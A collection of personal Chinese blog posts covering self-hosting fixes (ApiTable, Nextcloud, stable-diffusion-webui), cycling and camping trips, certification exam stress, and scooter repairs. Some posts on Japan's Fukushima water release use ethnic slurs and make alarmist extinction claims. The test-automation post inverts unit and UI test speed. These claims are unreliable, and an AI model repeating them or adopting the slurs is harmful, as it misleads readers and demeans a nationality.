同时也记录生活。 ### APITable修改默认端口 APITable老是忘记密码,不得不重新部署,然而apitable端口443和80端口被其他服务占用了。要改下端口。 配置文件在apitable目录下的.env文件夹,这个文件夹是隐藏的。直接用vim .env打开。 找到下面的两个配置项。 NGINX_HTTPS_PORT=4443 NGINX_HTTP_PORT=81 改成其他的端口,然后在docker-compose.yaml目录下运行下面的命令行 docker-compose up 现在改端口不生效了,启动服务超时 ### 周日骑行 上周日骑行随便逛,没有目的地,共骑行了129KM。 沿着风情大道,往富阳骑行。 杭州日排名第23名,排名前面的不知道是怎么骑行的,200KM,300KM的。这不是从早上就开始骑了吧。 然后往富阳骑行,骑到了1个桥上,地方还挺大,用手机拍了张照片。 一直瞎逛,然后看到一座山上有个寺庙,就骑上去了,地方是罗峰寺,一路骑上去都没看到寺庙的大门。随便拍拍下山。 寺庙山下有个无人机培训基地,没人,摄像头到处都是。 沿着乡间小路骑。骑着骑着就骑到了富春江。是上次去安顶山的路。感觉萧山区也挺小的。 富春江江边的步行道,人少,蚊虫也多。路边上的树都长到路另外一边了,都不好走路。 骑到下午5点往回骑,刚开始以为是往萧山骑的,后面看到路牌是往龙门古镇了。这不是往富阳骑了。 φ(* ̄0 ̄) 然后用手机导航到家,还有45KM的路程,还剩40%电,应该能骑到家。 晚上七点半到家,出门92%,到家还有27%的电。65%的电能骑行129KM,要是把电骑完,岂不是要接近200KM? 下次周末骑行得带相机,路上好多风景都没拍。 ### 杭州桐庐肖岭水库露营 上个星期四,逛小红书,发现一篇文章要露营缺一辆车,而且是肖岭水库。就在文章评论区,留下了评论,加了微信,就这样参加了周六(8月19日)的露营。 约定好集合地址,周六出发前就买了些饮料。到了地方接上小伙伴,就出发了,开车1个半小时。 到了肖玲水库跟着前面的车,停在田边的停车场,来露营的人好多好多。 水库风景很美,这应该是第二次来这里。之前第一次来就开了一段路,看了下水库,没到水库边上玩。 还好人不太多,就在水库边上找了块空地,搭起了天幕。刚搭好天幕,没多久就下起了大雨。 山那边已经看到在下雨了,雨是瞬间就过来了,不是小雨。 大雨过来的时候,还好找了4块大石头压住地钉,不然天幕要被大风给吹走了。 这里也要提醒下,到水库边游泳,不要1个人下水,一起来的伙伴,搬完露营吃的和一些设备,就急着下水,体力不支差点游不上来,还好边上有人发现的及时,丢了个游泳圈过去。 刚开始我看着都没注意,以为是在潜水,过了几秒发现有点不对劲,我都差点下水救人了。还好附近的人及时发现。 等人都到齐了,就搭起露营桌。 边吃,边听他们听歌猜歌名。然后看他们玩杭州大富豪。 然后我也下水玩了,肖岭水库水深是突然下降的,前一步还在半腰,后一半水深就2米以上,脚踩不到低。应该前面的伙伴突然遇到这种情况,慌了神,差点溺水。 水库边上的地方是泥,带一点点河沙,脚踩上去脚感不太好,跟踩在巧克力上的感觉。只要一走动就是泥水,水温不冷。 玩到下午5点左右就回杭州,参加他们的聚餐哈哈。 聚餐 ### 【时间累计】日本福岛核污水排放 最初,没有人在意这场灾难,这不是一场山火,一次旱灾,一个物种的灭绝,一座城市的消失,直到这场灾难和每个人息息相关..... 《流浪地球》 日本福岛核污水排放日期-2023年8月24日,中午12点 日本福岛核污水排放日期-2023年8月24日,中午12点 已排放(年):0 年 已排放(天):0 天 已排放(秒):0 秒 ### 谷歌广告跟小日本狼狈为奸,真恶心。 关都关不掉。小日本花700亿日元,真是没白花啊。 关了谷歌广告,真恶心。 现在媒体到处都是洗白,故意把核污水和核废水混淆,真的是狼狈为奸,地球毒瘤。 ### 2023年8月24日,日本排核污水进海 核污染水排放于8月24日下午正式开始。 这是人类灭亡于核的节奏。核污水排进海里,完全是对人类不负责的。 以后海鲜是不能吃了,海边都不能去玩了。 ### 【倒计时】软件评测师 2023-11-04 动态时间统计 .countdown-container { display: flex; justify-content: center; align-items: center; height: 100vh; } .countdown-timer { text-align: center; } .countdown-timer h1 { font-size: 48px; } .clock-icon { animation: spin 2s linear infinite; font-size: 48px; margin-bottom: 20px; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } // 设置目标日期和时间 const targetDate = new Date("2023-11-03T23:59:59").getTime(); // 更新倒计时的显示 function updateCountdown() { const now = new Date().getTime(); const distance = targetDate - now; // 计算剩余的天、小时、分钟和秒数 const days = Math.floor(distance / (1000 * 60 * 60 * 24)); const hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); const minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); const seconds = Math.floor((distance % (1000 * 60)) / 1000); // 更新倒计时元素的内容 const countdownElement = document.getElementById("countdown"); countdownElement.innerHTML = `${days}天 ${hours}小时 ${minutes}分钟 ${seconds}秒`; // 如果目标日期已过去,则显示倒计时结束的消息 if (distance < 0) { countdownElement.innerHTML = "倒计时结束"; } } // 每秒钟更新一次倒计时 setInterval(updateCountdown, 1000); ### 免费的图片转换软件 以下是一些当时免费的图片转换软件。请注意,这些信息可能已经过时,建议您在使用任何软件之前查看最新的信息和评价。 ImageMagick: ImageMagick是一个开源的命令行工具,可以用于处理和转换图片格式。虽然它主要是一个命令行工具,但也有许多基于图形界面的前端可以使用。 XnConvert: XnConvert是一个免费的批量图片处理工具,它支持多种格式的转换、大小调整、滤镜应用等功能。 IrfanView: IrfanView 是一个小巧且功能强大的图片浏览和编辑工具,它也可以进行批量格式转换。 GIMP: GIMP(GNU Image Manipulation Program)是一个功能丰富的免费图像编辑软件,虽然主要用于图像编辑,但它也可以进行格式转换。 FastStone Image Viewer: 这是一个多功能的图像浏览器,它提供了批量转换功能,支持多种格式。 Convertio: Convertio 是一个在线文件转换工具,可以将图像文件转换为不同的格式,同时还支持各种其他文件格式的转换。 Zamzar: Zamzar 也是一个在线文件转换工具,支持图像格式之间的转换。 CloudConvert: CloudConvert 是另一个在线文件转换服务,可以用来转换图像格式。 请记住,软件的功能和用户体验可能会随时间变化,而且新的软件也可能已经出现。在选择使用任何软件之前,最好查看用户评价、官方网站和最新的信息,以确保您选择的软件适合您的需求。 ### 【杭州牵牛岗】2023年8月13日英仙座一场流星雨盛宴 英仙座流星雨 英仙座流星雨 英仙座流星雨 英仙座流星雨 英仙座流星雨 英仙座流星雨 英仙座流星雨 英仙座流星雨 英仙座流星雨 英仙座流星雨 英仙座流星雨 英仙座流星雨 英仙座流星雨 ### 如何炼成超强学习能力?为什么有的人学得又快又好?高效学习的底层规律在这里! 1、取势篇 1、学任何东西之前,都要带目的的 a、不带目的的,就不叫学习 b、明确目的,抓大放小 总结考察重点,对应章节 c、学习要本质 本质=学科考察的能力,或者行业规律 a、抓本质,是取势的捷径 抓住了学习的本质,花最少的时间,做最正确的事。 取势=学习的目的+学习本质 1、取势的实操方法:四赢法 a、搞懂本质,准备多一本习题册 b、先看题目和答案,提取3关键() c、再针对性地区看书 d、开始做题,积累套路 2、明道篇 道:规律 记忆、理解、运用 1、记忆 a、记忆的核心,就是重复的频率 b、记忆的正确方法 全部看一遍,跳出关键字和关键句子,再认真看一遍(1-2次) 每段话单独看4次(3-6次) 遇到关键字和关键句子,单独多看2遍(7_8次) 放松,提高重复频率 c、记忆的注意实现 1)分散记忆,省时省力 2)交替记忆,提高效率 3)不要迷信艾宾浩斯 2、理解 a、什么是理解 理解的规律=抽象联系实际+抽象之间联系 1)抽象概念和实际例子的联系 2) 抽象概念之间的联系 b、怎么理解 先把重点概念背下来 把简单答案,作为实际例子和概念联系起来 大脑开始理解,形成零碎知识 通过观察中档题,形成概念之间联系,连成网 c、理解的跳坑指南 理解前,需要现有记忆 接触足够多例子,多个角度观察,才能透切 根据自身情况,选择方法检验理解(不能乱用费曼学习法,思维导图适合基础一般的同学) 3、运用 a、什么是运用 模仿→总结→实践→再模仿→循环 b、怎么使用运用 学会解题 破除难题恐惧 节省作业时间,提高正确率 3、优术篇 1、优术就是复盘迭代 2、怎么优术 定义问题 拆解问题找本质 提出方法,实践验证 分类汇总 3、复盘迭代能让你省钱 a、复盘迭代让你省钱 定义问题:如何提高物理成绩,增加总分 拆解问题找本质(解题套路,运算能力) 对症下药(刻意训练拆分物理过程,增加投入实践,准时训练形成习惯) 分类汇总::刷题方法,精力分配,学习习惯 b、复盘迭代让你错1题,顶100题 定义问题:有必要记录步 拆解问题(知识维度,方法维度,心态维度) 对症下药 分类汇总(分拆小套路,对应不同运用场景) ### 公司闲置资产拍卖,买了个戴尔显示器 周一群里发了公司资产拍卖的链接,点进去看了下,闲置资产还挺多。 有显示器,主机,苹果电脑,苹果手机(iPhone 8),小米手机,笔记本。 显示器起拍价70元,其他的也不算太贵,就是苹果电脑要贵点有人出价900多元。后面就参与拍卖,买了1个戴尔显示器,正好替换家里服务器的显示器了。 我出价75元,卖下来了。 然后今天有人联系我付款,对公账户到公司。下班前拿到显示器。 到家安装上,跟之前旧的显示器显示效果好很多,尺寸也到了很多,看着舒服多了。 ### 鱼缸里的观赏鱼 上个星期在淘宝上买了观察盒,可以记录下鱼缸里养过的鱼。 还有野采的时候可以打卡抓过的鱼了。 鱼缸里目前有:斗鱼、虾虎鱼(子陵)、蛇仔鱼、黑莲灯鱼、黑线飞狐、老鼠鱼、喷火灯鱼、樱桃灯鱼、黑壳虾、彩蛋螺,田螺、电光枝桠紫身虾虎鱼。 电光枝桠紫身虾虎鱼和蛇仔鱼找不到,就没拍照。 1、斗鱼 2、黑莲灯鱼 3、黑线飞狐鱼 4、红绿灯鱼 5、老鼠鱼 6、鳑鲏鱼 7、喷火灯鱼 8、樱桃灯鱼 ### ApiTable相关配置设置 1、修改默认端口80,443为81,4433 进入apitable文件夹,打开.env 环境配置文件 vim ./apitable/.env 找到NGINX_HTTPS_PORT和NGINX_HTTP_PORT配置项修改对应的端口,在配置文件的第18,19行,保存后。 2、关闭apitable新用户注册 也是在.env配置文件,找到SKIP_REGISTER_VALIDATE配置项,改为 SKIP_REGISTER_VALIDATE=false 然后重启 backend-server 服务,容器的名称为apitable_backend-server_1 上面的2个配置项是要在部署之前配置 ### 老家附近的村庄-航拍 ### 杭州最近的巨型人工水库瀑布(百米) 在小红书上看到的,还挺壮观。 上个月去了一次,当时打雷挺吓人,就没过去了。今天下午第二次去哪里,天气晴,人还挺多。 民宿边上的停车场,都停满了。 Jeep Jeep 停车场上面拐弯的地方有个自行车道可以进入水库,其实也可以开车过去,后面就开车进入了。 天目山 天目山 在去水库路上拍的植物。 植物 植物 植物 植物 植物 植物 植物 到了地方看来下还是挺好看的,就是不能近距离看。 小溪有好多大鱼,好想抓,后面就把车开进来了,但是人太多了,又不想抓了,只有鱼网,人少还可以试试。 手机拍照的瀑布,相机拿错镜头,不能拍全部的瀑布。 水库下面有人在游泳,还有狗子,两条边牧,两条金毛。 边牧对着溪流狂吠,两只金毛再打架。 水库旁边有条小路上去。 不过水库是关门的,不能上去,除非翻围墙进去。上面有人已经翻过去了,我就不好意思翻了。 在这边玩了一会,4点回杭州,今天要把二氧化碳充满。 水草缸没二氧化碳了,6点20到地方,原来是面包车上面可以充二氧化碳,还以为是到工厂里充的。 ### 谷歌浏览器怎么把火绒官网当成病毒了? 这是啥情况?火绒官网打不开,提示有风险了?! ### 解决stable-diffusion-webui 下载 stable-diffusion-stability-ai不了问题 又一次好久没打开了,然后发现又报错了。 stable-diffusion-webui fatal: unable to access 'https://github.com/Stability-AI/generative-models.git/': Recv failure: Connection was reset Traceback (most recent call last): 原因是网络问题,clone超时,连github都打不开,下载压缩包也超时。只能换🥾,然后打开H:\stable-diffusion-webui\repositories文件夹。 用git clone 下来 git clone https://github.com/Stability-AI/generative-models/ 等clone完成,再运行webui-user.bat,然后又报其他错误了。😅 看了报错信息,是打不开https://github.com/AUTOMATIC1111/stable-diffusion-webui.git/,超时了 用浏览器打开看看,果然打不开。只能切换线路。 然而github.com能打开,还是报错。 仔细看了下报错日志,还是上面的问题。真烦,手动clone不行,打开webui-user.bat报错。 手动git clone又能下载。删了已经clone下来的文件夹。重新打开webui-user.bat,多试几次,还是失败。 后面找到了解决方法。用CMD 运行 ipconfig/flushdns 成功了一部分,然后又报错了。 根据上面的方法在文件夹里手动git clone git clone https://github.com/sczhou/CodeFormer.git 然后再点击 webui-user.bat 问题成功解决了。 能打开倒是能打开,又报Something went wrong 还好这个问题之间遇到过。《解决stable-diffusion-webui切换模型报Something went wrong 问题》 所有问题都解决了,没⛏,还真用不了。 可以用stable-diffusion-webui 画文章,标签,分类的特色图片。目前博客的图片不好看,太乱了。 ### 谷歌广告PIN一直收不到这么办? 目前谷歌广告收不到PIN,已经停了。 后面找了另外1个办法,这个得上传身份证照片,证明你填得地址是正确的。 首先登录谷歌网址: 第1步选择YES 第2步选择NO 第3步选择联系表单 第4步填写相关信息 发布商ID,是在账户-设置-账户信息查看,提交附件是身份证照片,这个总感觉特别特别不安全 第5步提交 ### 现在杭州周边小溪到处都是人 想抓点能除藻小鱼,放到鱼缸里除藻的,就去了去年到过的地方。然而现在到哪都是人,都是露营的,商业化太严重了。还不如直接在湘湖抓,还可以随便洗个车,浪费油费和高速费。 除了人多,还有就是都是泊油路,下不去,能下去的地方水流太急,看不到几条鱼,都是小鱼苗,还不知道是什么鱼。 有个移动咖啡面包车,应该没多少人喝,1个大夏天喝个毛咖啡,为了咖啡而咖啡。 彩虹谷 彩虹谷 还有发现用手机和相机拍照感觉不一样,相机更自然点,手机拍照总感觉不自然。除了最上面2张使用手机拍照的,其他都是相机拍照,质感和画面就是不一样,手机是iPhone 11,相机是小蚁M1。 后面就到湘湖老地方,抓点虾到鱼缸里除水草上的澡。 一到湘湖,头疼,又是到处都是人。 抓了点虾,虾虎鱼(子陵),沙塘鳢 6点到家,7点出门看《封神第一部》。票还买了个4号厅,第4排,第4个座位。买票的时候都没发现这个,444。 总体感觉很棒,剧情和画面都很好。 ### Happy Birthday 哈,今天早上起来,一看手机看到好多短信,才发现今天是我的生日。 ### 7月1日-安徽的红色之旅 博客上传30M的图片,居然上传不了。φ(* ̄0 ̄) ### 华为可信没考过的结果 50%直接淘汰, 30%降级, 20%不得升级。 明年最后3次机会。 2025年6月14日:即使考过了被裁员(待岗)也是时间问题; ### 工作(学习)计划、规划 2024年 华为可信测试考试100% 【高级】信息系统项目管理师0% 2023年下半年 🙄【不及格】【中级】软件评测师100% 2022年 😆【考过】PMP100% ### 养了好几月的多肉,突然就烂根了。 烂根的好突然,一个晚上就都烂根了。 看了下土,有点潮湿,这不应该呀,之前都是好好的,浇了水,第二天就干的差不多了。 另外一盆还好好的。 ### 将近1万的电瓶车,这外观质量跟屎一样。 将近1万的电瓶车这外观就跟屎一样。每天骑车就跟骑着一坨屎一样,恶心死人了。 ### 树莓派4B终于降价了 最近7月中旬,树莓派产能提升,树莓派4B终于开始降价,现在目前550元左右,离首发价75美元,差不了多少。 之前树莓派4B 4G价格都要1000多元,现在差不多400元左右就能买到。 疫情前买了个树莓派4B 4G 记得买的是时候375元,咸鱼卖了600+,当时真的是理财产品。不过现在应该不是了。 不知道树莓派5什么时候发布。 ### 昨天参加华为可信考试大串讲总结 昨天周二晚上参加了考试前大串讲。 在挺串讲的过程中和会议主持的总结过程中,发现了1个问题,平时做的模拟题和参加正式考试题目的答案并不是都是统一的。 是华为正式考试有一套标准答案,参加平时的模拟考试答案而是另外一套标准答案。 这也导致了一些题目模拟题答案是ABC,而正式考试标准答案是ABCD,加上正式考试题目可能会出文字题。这样就是平时做模拟题的分数都很高,而正式考试不理想。 所以投入大量时间参加的培训和平时的模拟题目,并不能完全有把握通过华为正式考试。平时的模拟考试分数也并不能完全体现是否真的已经掌握了知识点。 要真的有把握通过考试,只能是完全掌握华为提供的培训资料里提供的知识点,加上一半的运气。 ### 恒大物业不作为,打12345才认真处理 上个星期一个电瓶车停在燃气管道边上,移出来2次,电瓶车车主又移到燃气管道边上。 真的是自私,把公共安全当作儿戏,而恒大物业也是不认真处理,只是移出来,其他的都不管。 还是打12345投诉,恒大物业才认真处理。 ### 曝光一个杭州萧山萧绍路九号店-黑心店 怪不得缝隙这么大,技术不行,瞎搞,安装的时候一个劲的用锤子锤,锤成这样,也是牛逼。左边的配件也搞坏了。 太黑心了,黑心店。 两个配件直接报废,只能重新买,换家店安装。 刚开始在淘宝搜还搜不到,最后还是用关键字搜到了。 一个是左右连接件,一个是内后挡泥板。 ### 这世上咋有这么脑残的电瓶车车主? 今天下午1点半发现一辆电瓶车,停在了燃气管道边上,当时就是卧槽,太危险了,就跟物业反应这个问题。十几分钟物业没回复,想了下,我还是亲自把电瓶车移出来,太危险了。过了半个小时,物业回复:这个车主经常把电瓶车停在燃气管道边上。 看到物业的回复,我就直接愣住了,这啥电瓶车车主啊?!脑子是不是有病? 晚上7点多回小区,专门看了下燃气管道边上。卧槽,卧槽,又停在燃气管道边上?!卧槽卧槽,这电瓶车车主是咋想的啊。气的我当场打119。然后119让我打12345,或者浙里办。 12345打了3次打通了,然后反映情况。不知道有没有效果。 物业也应该拿电瓶车车主没办法,物业移出来几次,又停在燃气管道边上。 ### 车好久没开,居然发霉了 这个月周末都是骑着110P到处逛,没开车,然后今天看车,一打开,都发霉了。应该是天窗没关的原因。 方向盘,仪表盘,车垫,玻璃到处都发霉。🤣 还好电瓶有电,开车去途虎店洗车,刚开始说是130,后面说是380。 车内的霉菌130精洗应该能去掉。 随便加了200的95号油。 车洗完上高速跑下,高速来回38*2+200+130=406。一天就花了406。 高速上奇葩车真多,杭瑞高速120限速,有辆面包车和1辆卡车各占一条道,速度一直80,前面都没有车,真特么奇葩。 ### 九号机械师110P更换前挡泥板 💔 旧前挡泥板一边断裂,骑车的时候有异响,就在淘宝上买了个原装的,自己动手安装。 ### 曝光一个杭州萧山九号店,太黑了 这个月换了110P后内挡泥板,因为之前右边摔了,有缝隙,六月就在杭州萧山的一个店里订了配件。 上个星期五换了内挡泥板,右边没缝隙了,当时也没检查左边的缝隙。第二天自己看了左右两边,左边缝隙特么比右边得缝隙还要大,还不如不换呢,当天就微信拍照片过去,问问能不能重新安装,微信过了1个星期不回复, 不理人。 九号电动车萧绍路店-黑心店 九号电动车萧绍路店-黑心店 特么这么大的缝隙真膈应人,就今天早上就去安装配件的地方,看看能不能重新安装下。 早上10点半到了黑心店,老板瞄了一眼就说,这个就是这样的,这个配件就是这样的,不给安装!然后我说这个配件是在你店里买的和安装的。 黑心店老板不假思索就说:“你不是在我店里安装的,也不是在我店里买的。” 卧槽,特么这么黑?说完就把店门一关不理人了。只管卖,不管售后,卧槽。卧槽这店这么黑的嘛?第一次遇见厉害了! 这家黑心店地址:杭州市萧山区城厢街道萧绍路1478-1480号 太特么黑心了,而且这家黑心店一到下雨天,晚上就关门。 这家黑心店必须得曝光。 当时安装拍得照片 九号电动车萧绍路店-黑心店-服务态度特别差 ### 软考报考流程 1、注册软考账户 官网:中国计算机技术职业资格网 登录官网,选择省份然后注册账户 2、购买教程(纸质的书),考试用书。 《软件评测师教程》、《软件评测师2014至2019试题分析与解答》、《软件设计师教程》 3、视频 可以在B站搜,教程还是挺多的 4、报考 官网报考网址:https://bm.ruankao.org.cn/?160037 好像还没开始 最后希望下半年软件评测师能一次考过。 在准备软考之前,还是在B站学习下怎么提高学习效率和方法 ### 准备下半年软考-软件评测师 本来我的计划是2021年考PMP,然后2022年准备考软件评测师(中级),软件设计师(中级),信息系统项目管理师(高级),因为疫情和公司可信考试(这个巨恶心)延期了。 目前到现在的情况:2022年6月份考了PMP(考过了),因为重心放在了PMP,公司的可信考试就没准备,然而上面一直让我参加考试,相当于裸考,最后的结果当然没考过 2023年准备了半年,考了三次都没过(2月份,4月份,6月份),特么都怀疑是我学习效率和方法问题,还是公司组织的可信考试有问题,忒么恶心死人了。 虽然可信考试没过,也不能松懈,就可以把没完成的计划提上来了。 2023年下半年先准备软件评测师,我现在的工作就是软件测试,软考只有软件评测师是关于软件测试的。软件设计师也考虑进来了,因为里面的一部分知识点,测试可信考试也有,学习的同时也可以巩固可信知识,不至于全部忘记了,万一软件设计师考过了呢。 然后2024年准备信息系统项目管理师(高级)和软件设计师,如果还有精力就准备考教师资格证,2024年根据工作情况做个未来职业规划,毕竟35岁了。 希望2023年的软件评测师能一次通过。明年就可以准备软件设计师,信息系统项目管理师(高级)和公司组织的测试可信。 也准备戒掉玩游戏和玩手机,这2个太浪费时间了,也不能很好的自我提升。 ### 【倒计时】杭州亚运会倒计时 动态时间统计 .countdown-container { display: flex; justify-content: center; align-items: center; height: 100vh; } .countdown-timer { text-align: center; } .countdown-timer h1 { font-size: 48px; } .clock-icon { animation: spin 2s linear infinite; font-size: 48px; margin-bottom: 20px; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } // 设置目标日期和时间 const targetDate = new Date("2023-09-23T23:59:59").getTime(); // 更新倒计时的显示 function updateCountdown() { const now = new Date().getTime(); const distance = targetDate - now; // 计算剩余的天、小时、分钟和秒数 const days = Math.floor(distance / (1000 * 60 * 60 * 24)); const hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); const minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); const seconds = Math.floor((distance % (1000 * 60)) / 1000); // 更新倒计时元素的内容 const countdownElement = document.getElementById("countdown"); countdownElement.innerHTML = `${days}天 ${hours}小时 ${minutes}分钟 ${seconds}秒`; // 如果目标日期已过去,则显示倒计时结束的消息 if (distance < 0) { countdownElement.innerHTML = "倒计时结束"; } } // 每秒钟更新一次倒计时 setInterval(updateCountdown, 1000); ### 华为可信考试,第三次没考过 天天看培训视频,天天刷题还是没过。 iLearning每周模拟自测都是及格,正式考试就是没过。 培训和题库完全不能覆盖正式考试的三分之二,而剩下的三分之一正式考试有部分会出现超范围的题目。 出的题目模糊不清,天天welink群里讨论题目,正式题目答案有问题,说是审核通过后,正式题库更新了。等正式考试标准答案还是没改,考试完,帖子答案又偷偷改回去了,做错两题,加上把正确又改错三题。就是差那么一点点。 今天看大群里谈论,怎么我选择的题目都对的?三分之二的题目就错了3个,三分之一的新题全错?这不太可能吧。 所以培训和模拟题只能保证覆盖三分之二,正式考试这三分之二必须得100%全部正确,剩下的三分之一对5题以上,才有可能及格。最后是我学习效率和方法问题?还是其他问题,都有点怀疑人生了。 能考过的真的是只有运气好。 这下是要等着被裁员,或者转岗降工资喽。 ### 艾跃进:过去的汉奸是亡国,现在的汉奸是灭种 艾跃进:过去的汉奸是亡国,现在的汉奸是灭种。 《中国人群基因组“天书”首次揭开,发现了什么惊人的秘密? 》- 今日头条 《Nature | 复旦学者合作发布中国人群泛基因组研究进展》 《A Pangenome Reference of 36 Chinese populations》 ### 在淘宝上买了钛螺丝,然后发现电瓶车没掉螺丝,看花眼了?! 买了后避震器,安装完的时候,在地上发现了一个螺丝。找了一遍也不知道是哪里的螺丝。 后面调试后避震器的时候,发现发动机上少了一个螺丝。就在淘宝上买了钛螺丝,然后发现发动机上居然没少?这是看花眼了么? ### 这周五参加拔河比赛,得知坐在我前面的开发被裁员了。 他是上一个组的开发,跟他没什么交流。 记得我去年因为我要考PMP考试,公司又要考华为测试考试和OD考试,最后我把重点放在了PMP考试,华为可信和OD考试就没通过。而那个开发是考OD,好像是OD考试。他没考过,转运维了。 这个月不知道为什么他被人事叫去后,说话和参加会议语气了带了一点点忧伤的感觉,然后这周五人事让他参加拔河,才得知要离职,不知道是不是裁员,还是主动离职。他就没参与拔河了。怪不得说话感觉不对劲。 要是这个月可信考试没通过的话,结局应该跟他差不多。 拔河第一轮就被淘汰了,得了一把雨伞。 分享一篇文章《互联网裁员这事,比大家想象的要麻烦》 最后午休时间也被压缩了,之前是1点午休到2点,现在要求午休到1点半,少了半个小时的休息时间,这个要求也不知道出于什么目的。 还有每月平均加班时长还不能低于8.5个小时,还对加班时长进行排名。连续三个月垫底就裁员。 资本家看了都自愧不如。 ### 九号机械师mmax 110P自己更换比博士RS2(后减震)和实际使用体验 刚买机械师的时候,原装的后减震器减震效果不太理想。40KM/H,过个小坑,就跟人从2米高的地方跳下来是一样的,特别难受,没有减震和阻尼。 后面骑行了6000KM后,原装后避震器感觉有了那么一点点好了,不知道是不是骑行时间久了,磨合到位了? 最后还是在淘宝上买了一对比博士RS2,价格有点小贵。 昨天下班回家,就马上取出快递,拿了工具-小扳手,自己手动更换后避震器。用小扳手拧下螺丝,前3个螺丝,挺轻松,但是最后1个螺丝宁不下来,还把螺丝内六角给拧花了。又尝试了W40,润滑,还是不行,后面就不敢在拧了。 怕再使用小扳手拧的话,后面就拧不下来了,就在饿了么下单买了个大扳手,不放心大扳手又下单买了三叉套筒。 等外卖小哥送过来,果然大扳手不行,头太大了旋转不了,避震器挡住了。三叉套筒型号又买小了,套不上,最后又买了大一型号的。 大一点型号的三叉套筒果然很轻松的拧下来了,还是用专业工具省心。 三叉套筒用14mm的那个能很轻松拧下来。 比博士RS2 机械师原装避震器 颜色买错了,安装上去太突兀了,太显眼了。 今天专门出去溜达了,总体感觉效果好那么一点点,不知道是不是原减震器磨合好了的原因,还是我没调试好比博士RS2的后避震器。 用手轻轻按后座能明显看出来比博士RS2后减震器压缩和回弹,而原装根本按不下去。 打个比方: 1、原装后避震器过人行道会很明显感觉电瓶车在上下跳。 2、比博士RS2,则没感觉出来电瓶车在人行道在行驶。 现在就剩下前避震器了,前避震器太抖了(对于比博士RS2),不过已经没再买避震器的必要。 ### 华为可信测试考试的一点点感想 这个月报名了,6月28日考试,然后这周五参加了一个分享会,收货了那么一点点。 其实分享出来道理,大家都懂,不就是多刷题,理解知识点。最大的区别在于每个人的学习效率不同而已。 不过其中最恶心的就是,我4月份参加的考试内容,新增了3个知识点(增加知识点,也不告知,培训也不存在),新增的知识点记得大概有3~5个题目,考试60个题目,做对43题就有可能通过,意思就是要能通过,最保守只能错17个题目,然后减去新增的知识点,那就是只能错12~14个题目,放大一点就是只能错10道题目,才有大概率通过。这怎么可能考试通过?根本就是比登天还难。 我选择的是Java语言,而大部分人参加考试的是python,其他人都集中在python题目,对于考python的人来说比Java可容易太多了。 还有一点,模拟考试和综合训练题有一大部分选择题的标准答案,不一定是对的,等到正式考试信心满满,大概率是通过不了的。对于标准答案来说,也是可以避免,那就是不能死记答案,而是在于理解知识点,建立可信测试考试框架。 最后培训和分享也不过是正式考试范围的三分之二,并不是完全能覆盖掉知识点,也有可能就是正式考试突然又增加了新的知识点,大概率是会在培训PPT里的延申文档里的知识点,这就是无形中增加了考试难度和知识范围。 考华为可信测试通过率对我来说概率太小了,基本上根本就不能通过,也不是说不努力,而是不确定因素太多了。 最后总结: 💔 根据这周五分享会得出,考试不通过是可能无限接近于裁员。 ### 【多图】粉色盛宴,杭州余杭区桃花中的绚丽花海 拍摄于2022年3月份。 下面的照片有桃花园照片,😁。 ### 皈大乡-龙腾瀑布 龙腾瀑布位于江西省上饶市德兴市皈大乡,是最近开发的一个自然景点。附近有著名的三清山5A级景区,距离龙腾瀑布50公里,开车1个小时。 小时候暑假经常上山,到瀑布玩,也是小学,初中春游去的地方。水清澈,后面外面的人过来开发了,总感觉不希望开发出来。 ### 外公外婆家 已经很老的房子了,现在已经拆掉了。 ### 皈大乡-三清山养殖基地 大学的时候,爸妈在乡下河边养了好几只鸡,大概有几百只,环境挺好。就是下雨条家里会很潮湿,而且有很大的鸡屎味。 每次放长假都会回老家。 养殖基地周边。 三清山养殖基地-jeep ### 九号 20A充电器 放在后备箱,螺丝掉了4个 20A充电器的螺丝感觉质量不太好,放在后备箱里,居然掉了4个螺丝,一共有6个。还好在后备箱里找了下,掉的螺丝都在。 后面拧上去了,搞了个反光贴把6个螺丝封起来,这样应该不会掉了。 也有可能是原装的后避震器没有减震效果,跟2个铁棍一样,真怕时间长了,充电器给真坏了。 ### 解决nextcloud报:数据库丢失了一些索引错误 报错内容 安全与设置警告 您的每项配置对于实例的安全性和性能都至关重要。 为了帮助您,我们正在做一些自动检查。 有关详细信息,请参阅文档链接。 关于您的设置有一些警告。 通过 HTTP 不安全访问站点。强烈建议你将服务器设置为要求 HTTPS,参考步骤见 安全小贴士 ↗ 你还没有设置或验证你的电子邮件服务器配置。请前往基本设置,以便进行设置。之后,使用表单下方的 "发送电子邮件 "按钮来验证您的设置。 数据库丢失了一些索引。由于给大的数据表添加索引会耗费一些时间,因此程序没有自动对其进行修复。您可以在 Nextcloud 运行时通过命令行手动执行 "occ db:add-missing-indices" 命令修复丢失的索引。索引修复后会大大提高相应表的查询速度。 在数据表 "oc_filecache" 中无法找到索引 "fs_parent"。 请仔细检查安装指南↗,并检查日志中是否有错误或警告。 通过我们的安全检查 ↗检查您 Nextcloud 的安全 解决方法 输入命令行:docker exec --user www-data -it nextcloud php occ db:add-missing-indices root@ITX:/nextcloud# docker exec --user www-data -it nextcloud php occ db:add-missing-indices Check indices of the share table. Check indices of the filecache table. Adding additional parent index to the filecache table, this can take some time... Filecache table updated successfully. Check indices of the twofactor_providers table. Check indices of the login_flow_v2 table. Check indices of the whats_new table. Check indices of the cards table. Check indices of the cards_properties table. Check indices of the calendarobjects_props table. Check indices of the schedulingobjects table. Check indices of the oc_properties table. Check indices of the oc_jobs table. Check indices of the oc_direct_edit table. Check indices of the oc_preferences table. Check indices of the oc_mounts table. 问题解决 ### 软件自动化测试分层 根据软件测试自动化集成实践中,一般可以分为三个层次1 : 单元测试(Unit Testing) 集成/接口自动化测试(Service Testing) UI自动化测试(UI Testing) 通过软件自动化测分层可以得出 UI执行效率最高,能力门槛最高,定位成本越低。 单元测试执行效率最低,能力门槛最低,定位成本最高 集成/接口自动化测试(Service Testing)的执行效率,能力门槛,定位成本适中 单元测试、集成/接口自动化测试、UI自动化测试定义2: 单元测试(Unit Testing): 定义:单元测试是针对软件系统中最小的可测试单元进行的测试,通常是对代码中的独立函数、方法或模块进行测试。 目的:验证单元是否按照预期进行工作,确保代码的功能正确性、可靠性和稳定性。 